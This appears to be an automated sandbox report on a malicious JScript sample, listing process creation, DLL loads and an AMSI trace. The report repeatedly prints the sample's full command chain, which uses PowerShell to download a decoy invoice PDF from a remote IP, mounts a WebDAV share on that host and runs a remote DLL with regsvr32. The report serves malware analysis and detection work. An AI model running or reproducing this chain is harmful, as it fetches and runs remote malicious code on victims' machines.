Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1515610719364115693.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@27/62@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5852:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0td5aeda.ccu.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1515610719364115693.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1772,i,4121100143196203925,16959727731007823552,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1772,i,4121100143196203925,16959727731007823552,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\889.js.csv");ITextStream.WriteLine(" entry:8363 f:jqqqebj");ITextStream.WriteLine(" exec:2 f:jqqqebj");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
